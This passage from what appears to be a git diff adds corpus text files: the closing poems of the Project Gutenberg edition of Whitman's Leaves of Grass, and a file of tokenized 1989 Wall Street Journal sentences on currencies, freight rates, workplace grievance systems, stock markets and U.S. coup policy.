slowly rais'd himself from the bed on the floor, +Drew on his war-dress, shirt, leggings, and girdled the belt around + his waist, +Call'd for vermilion paint (his looking-glass was held before him,) +Painted half his face and neck, his wrists, and back-hands. +Put the scalp-knife carefully in his belt--then lying down, resting + moment, +Rose again, half sitting, smiled, gave in silence his extended hand + to each and all, +Sank faintly low to the floor (tightly grasping the tomahawk handle,) +Fix'd his look on wife and little children--the last: + +(And here a line in memory of his name and death.) + + + +} A Voice from Death + +A voice from Death, solemn and strange, in all his sweep and power, +With sudden, indescribable blow--towns drown'd--humanity by + thousands slain, +The vaunted work of thrift, goods, dwellings, forge, street, iron bridge, +Dash'd pell-mell by the blow--yet usher'd life continuing on, +(Amid the rest, amid the rushing, whirling, wild debris, +A suffering woman saved--a baby safely born!) + +Although I come and unannounc'd, in horror and in pang, +In pouring flood and fire, and wholesale elemental crash, (this + voice so solemn, strange,) +I too a minister of Deity. + +Yea, Death, we bow our faces, veil our eyes to thee, +We mourn the old, the young untimely drawn to thee, +The fair, the strong, the good, the capable, +The household wreck'd, the husband and the wife, the engulfed forger + in his forge, +The corpses in the whelming waters and the mud, +The gather'd thousands to their funeral mounds, and thousands never + found or gather'd. + +Then after burying, mourning the dead, +(Faithful to them found or unfound, forgetting not, bearing the + past, here new musing,) +A day--a passing moment or an hour--America itself bends low, +Silent, resign'd, submissive. + +War, death, cataclysm like this, America, +Take deep to thy proud prosperous heart. + +E'en as I chant, lo! out of death, and out of ooze and slime, +The blossoms rapidly blooming, sympathy, help, love, +From West and East, from South and North and over sea, +Its hot-spurr'd hearts and hands humanity to human aid moves on; +And from within a thought and lesson yet. + +Thou ever-darting Globe! through Space and Air! +Thou waters that encompass us! +Thou that in all the life and death of us, in action or in sleep! +Thou laws invisible that permeate them and all, +Thou that in all, and over all, and through and under all, incessant! +Thou! thou! the vital, universal, giant force resistless, sleepless, calm, +Holding Humanity as in thy open hand, as some ephemeral toy, +How ill to e'er forget thee! + +For I too have forgotten, +(Wrapt in these little potencies of progress, politics, culture, + wealth, inventions, civilization,) +Have lost my recognition of your silent ever-swaying power, ye + mighty, elemental throes, +In which and upon which we float, and every one of us is buoy'd. + + + +} A Persian Lesson + +For his o'erarching and last lesson the greybeard sufi, +In the fresh scent of the morning in the open air, +On the slope of a teeming Persian rose-garden, +Under an ancient chestnut-tree wide spreading its branches, +Spoke to the young priests and students. + +"Finally my children, to envelop each word, each part of the rest, +Allah is all, all,all--immanent in every life and object, +May-be at many and many-a-more removes--yet Allah, Allah, Allah is there. + +"Has the estray wander'd far? Is the reason-why strangely hidden? +Would you sound below the restless ocean of the entire world? +Would you know the dissatisfaction? the urge and spur of every life; +The something never still'd--never entirely gone? the invisible need + of every seed? + +"It is the central urge in every atom, +(Often unconscious, often evil, downfallen,) +To return to its divine source and origin, however distant, +Latent the same in subject and in object, without one exception." + + + +} The Commonplace + +The commonplace I sing; +How cheap is health! how cheap nobility! +Abstinence, no falsehood, no gluttony, lust; +The open air I sing, freedom, toleration, +(Take here the mainest lesson--less from books--less from the schools,) +The common day and night--the common earth and waters, +Your farm--your work, trade, occupation, +The democratic wisdom underneath, like solid ground for all. + + + +} "The Rounded Catalogue Divine Complete" + +The devilish and the dark, the dying and diseas'd, +The countless (nineteen-twentieths) low and evil, crude and savage, +The crazed, prisoners in jail, the horrible, rank, malignant, +Venom and filth, serpents, the ravenous sharks, liars, the dissolute; +(What is the part the wicked and the loathesome bear within earth's + orbic scheme?) +Newts, crawling things in slime and mud, poisons, +The barren soil, the evil men, the slag and hideous rot. + + + +} Mirages + +More experiences and sights, stranger, than you'd think for; +Times again, now mostly just after sunrise or before sunset, +Sometimes in spring, oftener in autumn, perfectly clear weather, in + plain sight, +Camps far or near, the crowded streets of cities and the shopfronts, +(Account for it or not--credit or not--it is all true, +And my mate there could tell you the like--we have often confab'd + about it,) +People and scenes, animals, trees, colors and lines, plain as could be, +Farms and dooryards of home, paths border'd with box, lilacs in corners, +Weddings in churches, thanksgiving dinners, returns of long-absent sons, +Glum funerals, the crape-veil'd mother and the daughters, +Trials in courts, jury and judge, the accused in the box, +Contestants, battles, crowds, bridges, wharves, +Now and then mark'd faces of sorrow or joy, +(I could pick them out this moment if I saw them again,) +Show'd to me--just to the right in the sky-edge, +Or plainly there to the left on the hill-tops. + + + +} L. of G.'s Purport + +Not to exclude or demarcate, or pick out evils from their formidable + masses (even to expose them,) +But add, fuse, complete, extend--and celebrate the immortal and the good. +Haughty this song, its words and scope, +To span vast realms of space and time, +Evolution--the cumulative--growths and generations. + +Begun in ripen'd youth and steadily pursued, +Wandering, peering, dallying with all--war, peace, day and night + absorbing, +Never even for one brief hour abandoning my task, +I end it here in sickness, poverty, and old age. + +I sing of life, yet mind me well of death: +To-day shadowy Death dogs my steps, my seated shape, and has for years-- +Draws sometimes close to me, as face to face. + + + +} The Unexpress'd + +How dare one say it? +After the cycles, poems, singers, plays, +Vaunted Ionia's, India's--Homer, Shakspere--the long, long times' + thick dotted roads, areas, +The shining clusters and the Milky Ways of stars--Nature's pulses reap'd, +All retrospective passions, heroes, war, love, adoration, +All ages' plummets dropt to their utmost depths, +All human lives, throats, wishes, brains--all experiences' utterance; +After the countless songs, or long or short, all tongues, all lands, +Still something not yet told in poesy's voice or print--something lacking, +(Who knows? the best yet unexpress'd and lacking.) + + + +} Grand Is the Seen + +Grand is the seen, the light, to me--grand are the sky and stars, +Grand is the earth, and grand are lasting time and space, +And grand their laws, so multiform, puzzling, evolutionary; +But grander far the unseen soul of me, comprehending, endowing all those, +Lighting the light, the sky and stars, delving the earth, sailing + the sea, +(What were all those, indeed, without thee, unseen soul? of what + amount without thee?) +More evolutionary, vast, puzzling, O my soul! +More multiform far--more lasting thou than they. + + + +} Unseen Buds + +Unseen buds, infinite, hidden well, +Under the snow and ice, under the darkness, in every square or cubic inch, +Germinal, exquisite, in delicate lace, microscopic, unborn, +Like babes in wombs, latent, folded, compact, sleeping; +Billions of billions, and trillions of trillions of them waiting, +(On earth and in the sea--the universe--the stars there in the + heavens,) +Urging slowly, surely forward, forming endless, +And waiting ever more, forever more behind. + + + +} Good-Bye My Fancy! + +Good-bye my Fancy! +Farewell dear mate, dear love! +I'm going away, I know not where, +Or to what fortune, or whether I may ever see you again, +So Good-bye my Fancy. + +Now for my last--let me look back a moment; +The slower fainter ticking of the clock is in me, +Exit, nightfall, and soon the heart-thud stopping. + +Long have we lived, joy'd, caress'd together; +Delightful!--now separation--Good-bye my Fancy. + +Yet let me not be too hasty, +Long indeed have we lived, slept, filter'd, become really blended + into one; +Then if we die we die together, (yes, we'll remain one,) +If we go anywhere we'll go together to meet what happens, +May-be we'll be better off and blither, and learn something, +May-be it is yourself now really ushering me to the true songs, (who + knows?) +May-be it is you the mortal knob really undoing, turning--so now finally, +Good-bye--and hail! my Fancy. + + + + + +End of The Project Gutenberg Etext of Leaves of Grass, by Walt Whitman + diff --git a/mccalum/wsj15-18.txt b/mccalum/wsj15-18.txt new file mode 100644 index 0000000..3cf7ac4 --- /dev/null +++ b/mccalum/wsj15-18.txt @@ -0,0 +1,8936 @@ +Confidence in the pound is widely expected to take another sharp dive if trade figures for September , due for release tomorrow , fail to show a substantial improvement from July and August 's near-record deficits . +Chancellor of the Exchequer Nigel Lawson 's restated commitment to a firm monetary policy has helped to prevent a freefall in sterling over the past week . +But analysts reckon underlying support for sterling has been eroded by the chancellor 's failure to announce any new policy measures in his Mansion House speech last Thursday . +This has increased the risk of the government being forced to increase base rates to 16 % from their current 15 % level to defend the pound , economists and foreign exchange market analysts say . +`` The risks for sterling of a bad trade figure are very heavily on the down side , '' said Chris Dillow , senior U.K. economist at Nomura Research Institute . +`` If there is another bad trade number , there could be an awful lot of pressure , '' noted Simon Briscoe , U.K. economist for Midland Montagu , a unit of Midland Bank PLC . +Forecasts for the trade figures range widely , but few economists expect the data to show a very marked improvement from the # 2 billion -LRB- $ 3.2 billion -RRB- deficit in the current account reported for August . +The August deficit and the # 2.2 billion gap registered in July are topped only by the # 2.3 billion deficit of October 1988 . +Sanjay Joshi , European economist at Baring Brothers & Co. , said there is no sign that Britain 's manufacturing industry is transforming itself to boost exports . +At the same time , he remains fairly pessimistic about the outlook for imports , given continued high consumer and capital goods inflows . +He reckons the current account deficit will narrow to only # 1.8 billion in September . +However , Mr. Dillow said he believes that a reduction in raw material stockbuilding by industry could lead to a sharp drop in imports . +Combined with at least some rebound in exports after August 's unexpected decline , the deficit could narrow to as little as # 1.3 billion . +Mr. Briscoe , who also forecasts a # 1.3 billion current account gap , warns that even if the trade figures are bullish for sterling , the currency wo n't advance much because investors will want to see further evidence of the turnaround before adjusting positions . +Nevertheless , he noted , `` No one will want to go into the trade figures without a flat position '' in the pound . +Meanwhile , overall evidence on the economy remains fairly clouded . +In his Mansion House speech , Mr. Lawson warned that a further slowdown can be expected as the impact of the last rise in interest rates earlier this month takes effect . +U.K. base rates are at their highest level in eight years . +But consumer expenditure data released Friday do n't suggest that the U.K. economy is slowing that quickly . +The figures show that spending rose 0.1 % in the third quarter from the second quarter and was up 3.8 % from a year ago . +This compares with a 1.6 % rise in the second from the first quarter and a 5.4 % increase from the second quarter of 1988 . +Mr. Dillow said the data show the economy `` is still quite strong , '' but suggestions that much of the spending went on services rather than consumer goods should reduce fears of more import rises . +Certainly , the chancellor has made it clear that he is prepared to increase interest rates again if necessary to both ensure that a substantial slowdown does take place and that sterling does n't decline further . +Thursday , he reminded his audience that the government `` can not allow the necessary rigor of monetary policy to be undermined by exchange rate weakness . '' +Analysts agree there is little holding sterling firm at the moment other than Mr. Lawson 's promise that rates will be pushed higher if necessary . +And , they warn , any further drop in the government 's popularity could swiftly make this promise sound hollow . +Sterling was already showing some signs of a lack of confidence in Mr. Lawson 's promise Friday . +In European trading it declined to $ 1.5890 and 2.9495 marks from $ 1.5940 and 2.9429 marks late Thursday . +Economists suggested that if the pound falls much below 2.90 marks , the government will be forced to increase rates to 16 % , both to halt any further decline and ensure that the balance of monetary policy remains unchanged . +Friday 's Market Activity +The dollar posted gains in quiet trading as concerns about equities abated . +Foreign exchange dealers said that the currency market has begun to distance itself from the volatile stock exchange , which has preoccupied the market since Oct. 13 , when the Dow Jones Industrial Average plunged more than 190 points . +Currency analysts predict that in the coming week the foreign exchange market will shift its focus back to economic fundamentals , keeping a close eye out for any signs of monetary easing by U.S. Federal Reserve . +Late in the New York trading day , the dollar was quoted at 1.8578 marks , up from 1.8470 marks late Thursday in New York . +The U.S. currency was also changing hands at 142.43 yen , up from 141.70 yen in New York late Thursday . +In Tokyo on Monday , the U.S. currency opened for trading at 141.95 yen , up from Friday 's Tokyo close of 141.35 yen . +On the Commodity Exchange in New York , gold for current delivery settled at $ 367.30 an ounce , up 20 cents . +Estimated volume was a light 2.4 million ounces . +In early trading in Hong Kong Monday , gold was quoted at $ 366.50 an ounce . +East Rock Partners Limited Partnership said it proposed to acquire A.P. Green Industries Inc. for $ 40 a share . +In an Oct. 19 letter to A.P. Green 's board , East Rock said the offer is subject to the signing of a merger agreement by no later than Oct. 31 . +The letter , attached to a filing with the Securities and Exchange Commission , said the approval is also contingent upon obtaining satisfactory financing . +An A.P. Green official declined to comment on the filing . +The $ 40-a-share proposal values the company at about $ 106.6 million . +A.P. Green currently has 2,664,098 shares outstanding . +Its stock closed at $ 38 , up $ 1.875 , in national over-the-counter trading . +The company is a Mexico , Mo. , maker of refractory products . +East Rock also said in the filing that it boosted its stake in A.P. Green to 8.7 % . +It now holds 233,000 A.P. Green common shares , including 30,000 shares bought last Thursday for $ 35.50 to $ 36.50 a share . +New York-based John Kuhns and Robert MacDonald control East Rock Partners Inc. , the sole general partner of East Rock Partners L.P . +The sole limited partner of the partnership is Westwood Brick Lime Inc. , an indirect subsidiary of Westwood Group Inc . +Both Westwood Brick and Westwood Group are based in Boston . +Freight rates , declining for most of the decade because of competition spurred by deregulation , are bottoming out , turning upward and threatening to fuel inflation . +Trucking , shipping and air-freight companies have announced rate increases , scheduled for this fall or early next year , reflecting higher costs and tightened demand for freight transport . +Major shippers say they expect freight rates to rise at least as fast as inflation and maybe faster in the next few years . +That 's a big change from recent years when freight haulage was a bright spot for U.S. productivity , helping to restrain inflation and make U.S. industry more competitive abroad . +`` Demand has caught up with the supply of certain types of freight transportation , and rates are starting to move up '' at a rate `` close to or slightly more than the inflation rate , '' said Clifford Sayre , director of logistics at Du Pont Co . +Shippers surveyed recently by Ohio State University said they expect their freight-transport , storage and distribution costs to rise about 4 % this year . +Only 10 % of the 250 shippers polled expected their freight-transport costs to decrease , compared with 30 % who had looked to freight transport to reduce costs in past years . +`` This is the first year since transportation deregulation in 1980 that we have had such a dramatic and broad-based upturn in perceived transportation rates , '' said Bernard LaLonde , a transportation logistics professor at Ohio State in Columbus . +The deregulation of railroads and trucking companies that began in 1980 enabled shippers to bargain for transportation . +Carriers could use their equipment more efficiently , leading to overcapacity they were eager to fill . +Shippers cut about $ 35 billion from their annual , inter-city truck and rail costs , to about $ 150 billion , or about 6.4 % of gross national product , down from 8 % of GNP in 1981 . +But with much of the inefficiency squeezed out of the freight-transport system , rising costs are likely to be reflected directly in higher freight rates . +`` Shippers are saying ` the party 's over , ' '' said Mr. LaLonde . +`` Shippers wo n't be able to look for transportation-cost savings as they have for the last eight or nine years . +Transport rates wo n't be an opportunity for offsetting cost increases in other segments of the economy . '' +Robert Delaney , a consultant at Arthur D. Little Inc. , Cambridge , Mass. , said `` We 've gotten all the benefits of deregulation in freight-cost reductions . +Now we are starting to see real freight-rate increases as carriers replace equipment , pay higher fuel costs and pay more for labor . +You 'll see carriers try to recoup some of the price cutting that occurred previously . '' +Not everyone believes that the good times are over for shippers . +`` There 's still a lot of pressure on rates in both rail and truck , '' said Gerard McCullough , lecturer in transportation at Massachusetts Institute of Technology . +Less-than-truckload companies , which carry the freight of several shippers in each truck trailer , discounted away a 4.7 % rate increase implemented last April . +The carriers were competing fiercely for market share . +Railroad-rate increases are likely to be restrained by weakening rail-traffic levels and keen competition for freight from trucks . +An official at Consolidated Freightways Inc. , a Menlo Park , Calif. , less-than-truckload carrier , said rate discounting in that industry has begun to `` stabilize . '' +Consolidated Freightways plans to raise its rates 5.3 % late this year or early next year , and at least two competitors have announced similar increases . +Truckers are `` trying to send signals that they need to stop the bloodletting , forget about market share and go for higher rates , '' said Michael Lloyd , an analyst at Salomon Bros . +And `` shippers are getting the feeling that they have played one trucker off against another as much as they can , '' he said . +Air-freight carriers raised their rates for U.S. products going across the Pacific to Asia by about 20 % earlier this month . +And Japan Air Lines said it plans to boost its rates a further 25 % over the next two years . +Such rate increases `` will increase the total cost of U.S. products and slow down the rate of increase of U.S. exports , '' said Richard Connors , a senior vice president of Yusen Air & Sea Service U.S.A. Inc. , the U.S. air-freight-forwarding subsidiary of Nippon Yusen Kaisha of Japan . +Ship companies carrying bulk commodities , such as oil , grain , coal and iron ore , have been able to increase their rates in the last couple of years . +Some bulk shipping rates have increased `` 3 % to 4 % in the past few months , '' said Salomon 's Mr. Lloyd . +And ship lines carrying containers are also trying to raise their rates . +Carriers boosted rates more than 10 % in the North Atlantic between the U.S. and Europe last September , hoping to partly restore rates to earlier levels . +Ship lines operating in the Pacific plan to raise rates on containers carrying U.S. exports to Asia about 10 % , effective next April . +MGM Grand Inc. said it filed a registration statement with the Securities and Exchange Commission for a public offering of six million common shares . +The Beverly Hills , Calif.-based company said it would have 26.9 million common shares outstanding after the offering . +The hotel and Gaming company said Merrill Lynch Capital Markets will lead the underwriters . +Proceeds from the sale will be used for remodeling and refurbishing projects , as well as for the planned MGM Grand hotel\/casino and theme park . +Bob Stone stewed over a letter from his manager putting him on probation for insubordination . +Mr. Stone thought the discipline was unfair ; he believed that his manager wanted to get rid of him for personal reasons . +Unable to persuade the manager to change his decision , he went to a `` company court '' for a hearing . +At the scheduled time , Mr. Stone entered a conference room in a building near where he worked . +After the three members of the court introduced themselves , the chairman of the panel said : `` Go ahead and tell us what happened . +We may ask questions as you go along , or we may wait until the end . '' +No lawyers or tape recorders were present . +The only extra people were a couple of personnel specialists , one of whom knew Mr. Stone 's case intimately and would help fill in any facts needed to give the court the full picture . +Over a cup of coffee , Mr. Stone told his story . +He talked about 20 minutes . +When he was through , the court members asked many questions , then the chairman said they would like to hear his manager 's side and talk to witnesses . +The chairman promised Mr. Stone a decision within two weeks . +Bob Stone is a fictional name , but the incident described is real . +It happened at Northrop Corp. in Los Angeles . +The court is called the Management Appeals Committee , or just `` MAC , '' and it is likely to hear a couple of dozen cases a year . +Alter some details of this example and it could be taking place today at Federal Express in Memphis , the Defense and Underseas Systems divisions of Honeywell in Minneapolis , a General Electric plant in Columbia , Md. , or a number of other companies . +These firms are pioneers in a significant new trend in the corporate world : the rise of what I call corporate due process . +Although corporate due process is practiced today in few companies -- perhaps 40 to 60 -- it is one of the fastest developing trends in industry . +In the coming decade a majority of people-oriented companies are likely to adopt it . +Corporate due process appeals to management for a variety of reasons . +It reduces lawsuits from disgruntled employees and ex-employees , with all that means for reduced legal costs and better public relations . +It helps to keep out unions . +It increases employee commitment to the company , with all that means for efficiency and quality control . +What must your management team do to establish corporate due process ? +Here are four key steps : +1 . Make sure you have a strong personnel department . +It must be able to handle most of the complaints that can not be solved in the trenches by managers and their subordinates , else the company court or adjudicators will be inundated with cases . +At Polaroid , the Personnel Policy Planning Committee may hear only about 20 cases a year ; the rest of the many hundreds of complaints are resolved at earlier stages . +At TWA , the System Board of Adjustment hears 50 to 75 cases a year , only a fraction of the complaints brought to personnel specialists . +At Citicorp , the Problem Review Board may hear only 12 or so cases because of personnel 's skill in complaint-resolution . +In a typical year , up to 20 % of the work force goes to personnel specialists with complaints of unfair treatment . +In a large company that means many hundreds of complaints for personnel to handle . +2 . Formally or informally , train all your managers and supervisors in the company 's due-process approach . +See that they know company personnel policy backwards and forwards , for it is the `` law '' governing company courts and adjudicators . +Coach them in handling complaints so that they can resolve problems immediately . +In case managers and personnel specialists are unsuccessful and subordinates take their complaints to a company court or adjudicator , teach managers to accept reversals as a fact of business life , for in a good due-process system they are bound to happen . +In the 15 companies I studied , reversal rates range on the average from 20 % to 40 % . +3 . Decide whether you want a panel system or a single adjudicator . +A panel system like that in the Bob Stone example enjoys such advantages as high credibility and , for the panelists , mutual support . +An adjudicator system -- that is , an investigator who acts first as a fact-finder and then switches hats and arbitrates the facts -- has such advantages as speed , flexibility and maximum privacy . +International Business Machines and Bank of America are among the companies using the single-adjudicator approach . +4 . Make your due-process system visible . +It wo n't do any good for anybody unless employees know about it . +Most managements hesitate to go all out in advertising their due-process systems for fear of encouraging cranks and chronic soreheads to file complaints . +On the other hand , they make sure at a minimum that their systems are described in their employee handbooks and talked up by personnel specialists . +Smith-Kline Beecham goes further and sometimes features its grievance procedure in closed-circuit TV programs . +Naturally , one of the best ways to guarantee visibility for your due-process system is for top management to support it . +At IBM , the company 's Open Door system is sometimes the subject of memorandums from the chief executive . +Federal Express goes further in this respect than any company I know of with both Frederick Smith and James Barksdale , chief executive and chief operating officer , respectively , sitting in on the Appeals Board almost every Tuesday to decide cases . +Mr. Ewing is a consultant based in Winchester , Mass. , and author of `` Justice on the Job : Resolving Grievances in the Nonunion Workplace '' -LRB- Harvard Business School Press , 1989 -RRB- . +Tokyo stocks closed higher in active trading Friday , marking the fourth consecutive daily gain since Monday 's sharp fall . +London shares closed moderately lower in thin trading . +At Tokyo , the Nikkei index of 225 selected issues was up 112.16 points to 35486.38 . +The index advanced 266.66 points Thursday . +In early trading in Tokyo Monday , the Nikkei index rose 101.98 points to 35588.36 . +Friday 's volume on the First Section was estimated at one billion shares , up from 862 million Thursday . +Winners outpaced losers , 572 to 368 , while 181 issues remained unchanged . +With investors relieved at the overnight gain in New York stocks , small-lot buying orders streamed into the market from early morning , making traders believe the market was back to normal . +The Nikkei , which reached as high as 35611.38 right after the opening , surrendered part of its early advance toward the end of the day because of profit-taking . +`` Investors , especially dealers , do n't want to hold a position over the weekend , '' a trader at Dai-ichi Securities said , adding , though , that the trading mood remained positive through the afternoon session . +The Tokyo Stock Price Index -LRB- Topix -RRB- of all issues listed in the First Section , which gained 22.78 points Thursday , was up 14.06 points , or 0.53 % , at 2679.72 . +The Second Section index , which rose 15.72 points Thursday , was up 11.88 points , or 0.32 % , to close at 3717.46 . +Volume in the second section was estimated at 30 million shares , up from 28 million Thursday . +In turmoil caused by the previous Friday 's plunge in New York stocks , the Nikkei marked a sharp 647.33-point fall Monday . +But the Nikkei fell an overall 1.8 % in value that day compared with Wall Street 's far sharper 6.9 % drop on Oct. 13 . +The Tokyo market 's resiliency helped participants to regain confidence gradually as they spent more time on analyzing factors that caused the Friday plunge and realized these problems were unique to New York stocks and not directly related to Tokyo . +The Nikkei continued to gain for the rest of the week , adding 1017.69 points in four days -- more than erasing Monday 's losses . +But further major advances on the Nikkei are n't foreseen this week by market observers . +Investors are still waiting to see how the U.S. government will decide on interest rates and how the dollar will be stabilized . +Some high-priced issues made a comeback Friday . +Pioneer surged 450 yen -LRB- $ 3.16 -RRB- to 6,050 yen -LRB- $ 42.60 -RRB- . +Kyocera advanced 80 yen to 5,440 . +Fanuc gained 100 to 7,580 . +Breweries attracted investors because of their land property holdings that could figure in development or other plans , traders said . +Sapporo gained 80 to 1,920 and Kirin added 60 to 2,070 . +Housings , constructions and pharmaceuticals continued to be bought following Thursday 's gains because of strong earnings outlooks . +Daiwa House gained 50 to 2,660 . +Misawa Homes was up 20 at 2,960 . +Kajima advanced 40 to 2,120 and Ohbayashi added 50 to 1,730 . +Fujisawa added 80 to 2,010 and Mochida advanced 230 to 4,400 . +London share prices were influenced largely by declines on Wall Street and weakness in the British pound . +The key Financial Times-Stock Exchange 100-share index ended 10.2 points lower at 2179.1 , above its intraday low of 2176.9 , but off the day 's high of 2189 . +The index finished 2.4 % under its close of 2233.9 the previous Friday , although it recouped some of the sharp losses staged early last week on the back of Wall Street 's fall . +London was weak throughout Friday 's trading , however , on what dealers attributed to generally thin interest ahead of the weekend and this week 's potentially important U.K. trade figures for September . +The FT-SE 100 largely remained within an 11-point range establshed within the first hour of trading before it eased to an intraday low late in the session when a flurry of program selling pushed Wall Street lower . +The FT 30-share index closed 11.0 points lower at 1761.0 . +Volume was extremely thin at 351.3 million shares , the lightest volume of the week and modestly under Thursday 's 387.4 million shares . +Dealers said the day 's action was featureless outside some response to sterling 's early weakness against the mark , and fears that Wall Street might open lower after its strong leap forward Thursday . +They added that market-makers were largely sidelined after aggressively supporting the market Thursday in their quest to cover internal shortages of FT-SE 100 shares . +Interest may remain limited into tomorrow 's U.K. trade figures , which the market will be watching closely to see if there is any improvement after disappointing numbers in the previous two months . +The key corporate news of the day was that British Airways decided to withdraw from a management-led bid for UAL Corp. , the parent of United Airlines . +British Airways rose initially after announcing its withdrawal from the UAL deal . +Dealers said they viewed the initial # 390-million -LRB- $ 622 million -RRB- outlay for a 15 % stake in the airline as a bit much . +Its shares slid in late dealings to close a penny per share lower at 197 pence . +The airline was the most active FT-SE 100 at 8.2 million shares traded . +The next most active top-tier stock was B.A.T Industries , the target of Sir James Goldsmith 's # 13.4 billion bid . +The company gained shareholder approval Thursday to restructure in a bid to fend off the hostile takeover . +Sir James said Thursday night that his plans for the takeover had n't changed . +B.A.T ended the day at 778 , down 5 , on turnover of 7.5 million shares . +Dealers said it was hit by some profit-taking after gains since mid-week . +In other active shares , Trusthouse Forte shed 10 to 294 on volume of 6.4 million shares after a Barclays De Zoete Wedd downgrading , while Hillsdown Holdings , a food products concern , was boosted 2 to 271 after it disclosed it would seek shareholder approval to begin share repurchases . +Elsewhere in Europe , share prices closed higher in Stockholm , Brussels and Milan . +Prices were lower in Frankfurt , Zurich , Paris and Amsterdam . +South African gold stocks closed moderately lower . +Share prices closed higher in Sydney , Taipei , Wellington , Manila , Hong Kong and Singapore and were lower in Seoul . +Here are price trends on the world 's major stock markets , as calculated by Morgan Stanley Capital International Perspective , Geneva . +To make them directly comparable , each index is based on the close of 1969 equaling 100 . +The percentage change is since year-end . +The U.S. is required to notify foreign dictators if it knows of coup plans likely to endanger their lives , government officials said . +The notification policy was part of a set of guidelines on handling coups outlined in a secret 1988 exchange of letters between the Reagan administration and the Senate Intelligence Committee . +The existence of the guidelines has become known since President Bush disclosed them privately to seven Republican senators at a White House meeting last Monday . +Officials familiar with the meeting said Mr. Bush cited the policy as an example of the sort of congressional requirements the administration contends contribute to the failure of such covert actions as this month 's futile effort to oust Panamanian dictator Manuel Noriega . +According to the officials , Mr. Bush even read to the senators selections from a highly classified letter from the committee to the White House discussing the guidelines . +They said the president conceded the notification requirement did n't affect his decision to lend only minor support to this month 's Panama coup effort . +No notification was ever considered , officials said , apparently because the U.S. did n't think the coup plotters intended to kill Mr. Noriega , but merely sought to imprison him . +What 's more , both administration and congressional officials hint that the notification requirement is likely to be dropped from the guidelines on coup attempts that are being rewritten by the panel and the White House . +The rewriting was launched at a meeting between Mr. Bush and intelligence committee leaders Oct. 12 , a few days before the meeting at which the president complained about the rules . +However , the disclosure of the guidelines , first reported last night by NBC News , is already being interpreted on Capitol Hill as an unfair effort to pressure Congress . +It has reopened the bitter wrangling between the White House and Congress over who is responsible for the failure to oust Mr. Noriega and , more broadly , for difficulties in carrying out covert activities abroad . +A statement issued by the office of the committee chairman , Sen. David Boren -LRB- D. , Okla. -RRB- , charged that the disclosure is part of a continuing effort to shift the criticism for the failure of the recent coup attempt in Panama . +The statement added , `` Someone has regrettably chosen to selectively summarize portions of highly classified correspondence between the two branches of government . +Not only does this come close to a violation of law , it violates the trust we have all worked to develop . '' +Sen. Boren said , `` It 's time to stop bickering and work together to develop a clear and appropriate policy to help the country in the future . +I 've invited the president to send his suggestions to the committee . '' +Republican Sen. William Cohen of Maine , the panel 's vice chairman , said of the disclosure that `` a text torn out of context is a pretext , and it is unfair for those in the White House who are leaking to present the evidence in a selective fashion . '' +Sen. Boren said the committee could n't defend itself by making the documents public because that would violate classification rules . +But the chairman and other committee members stressed that the notification guideline was n't imposed on the White House by a meddling Congress . +Instead , both congressional and administration officials agreed , it grew out of talks about coup-planning in Panama that were initiated by the administration in July 1988 and stretched into last October . +The guideline was n't a law , but a joint interpretation of how the U.S. might operate during foreign coups in light of the longstanding presidential order banning a U.S. role in assassinations . +In fact , yesterday the administration and Congress were still differing on what had been agreed to . +One administration official said notification was required even if the U.S. `` gets wind '' of somebody else 's coup plans that seem likely to endanger a dictator 's life . +But a congressional source close to the panel said the rule only covered coup plans directly involving the U.S. . +Although the notification guideline was n't carried out in this month 's coup attempt , some administration officials argue that it may have led to hesitation and uncertainty on the part of U.S. intelligence and military operatives in Panama . +One senior administration official called the guideline `` outrageous '' and said it could make U.S. operatives reluctant to even listen to coup plans for fear they may get into legal trouble . +The issue came to a head last year , officials recalled , partly because the Reagan administration had sought unsuccessfully to win committee approval of funding for new Panama coup efforts . +In addition , both administration and congressional officials said the need for guidelines on coups and assassinations was partly spurred by a White House desire to avoid nasty overseas surprises during the election campaign . +Though the assassination ban is a White House order that Congress never voted on , the intelligence committees can exercise influence over its interpretation . +Last week , Central Intelligence Agency Director William Webster publicly called on Congress to provide new interpretations of the assassination order that would permit the U.S. more freedom to act in coups . +The administration has reacted to criticism that it mishandled the latest coup attempt by seeking to blame Congress for restrictions the White House said have hampered its freedom of action . +However , last week Mr. Webster 's two top CIA deputies said congressional curbs had n't hampered the spy agency 's role in the coup attempt in Panama . +Nevertheless , the administration 's criticisms appeared to have made some headway with Sens. Boren and Cohen after their Oct. 12 meeting with the president . +The three men agreed to rewrite the guidelines , without changing the basic assassination ban , to clear up any ambiguities that may have hampered U.S. encouragement of coups against anti-American leaders . +The new argument over the notification guideline , however , could sour any atmosphere of cooperation that existed . +Gerald F. Seib contributed to this article . +-LRB- During its centennial year , The Wall Street Journal will report events of the past century that stand as milestones of American business history . -RRB- +MUTUAL FUNDS ARRIVED IN THE U.S. during the Roaring Twenties -LRB- they had been in Britain for a century -RRB- , but they did n't boom until the money market fund was created in the 1970s . +By 1980 , there were more than 100 such funds . +Besides creating a vehicle for investors , money market funds also helped rewrite banking regulations . +The idea was to let small investors , the backbone of the fund business , deal in the money market 's high short-term interest rates . +This had been the exclusive province of those rich enough to use six-figure sums to get income that was figured beyond the third or fourth decimal place . +The now-standard price of $ 1 a share came about by accident . +An early fund had filed a registration with the Securities and Exchange Commission that included a fixed $ 1 price . +It arrived just as the regulator handling such operations was retiring . +His successor approved the $ 1 price in the process of clearing the backed-up papers on his desk . +When Dreyfus started the first advertising-backed retail fund in February 1974 , it was priced at $ 10 a share -LRB- and reached $ 1 billion in assets in one year . -RRB- +Dreyfus moved to the $ 1 price after the SEC set standards -- an average 120-day maturity of high-grade paper -- that are still the rule . +Keeping the listed price at a dollar is primarily a convenience . +Actually , the funds do fluctuate , but beyond the third decimal place . +Rounding-off keeps them at $ 1 . +Eventually , the money funds ' success forced relaxation of curbs on bank interest rates to allow banks to offer competing yields . +The new instrument also introduced many to the industry -- 30 % of fund owners -LRB- there are more than 54 million accounts -RRB- started with a money fund . +Today more than 470 money market funds have total assets exceeding $ 350 billion . +-LRB- The companion tax-exempt funds add $ 71 billion . -RRB- +Dreyfus alone has seen its money market funds grow from $ 1 billion in 1975 to closes to $ 15 billion today . +Procter & Gamble Co. and Noxell Corp. said they received early termination of the waiting period under the Hart-Scott-Rodino Act regarding the proposed $ 1.4 billion merger of Noxell into P&G . +Shareholders of Noxell , of Hunt Valley , Md. , will vote on the merger at a special meeting on Nov. 30 , the companies said . +P&G , Cincinnati , agreed to exchange 0.272 share of its common stock for each share of Noxell common and Class B stock , a total of about 11 million P&G shares . +The transaction would mark the entry of P&G into cosmetics . +The company already markets a wide range of detergents , food , household and health-care products . +Shareholders of Messerschmitt-Boelkow-Blohm G.m.b . H. postponed their 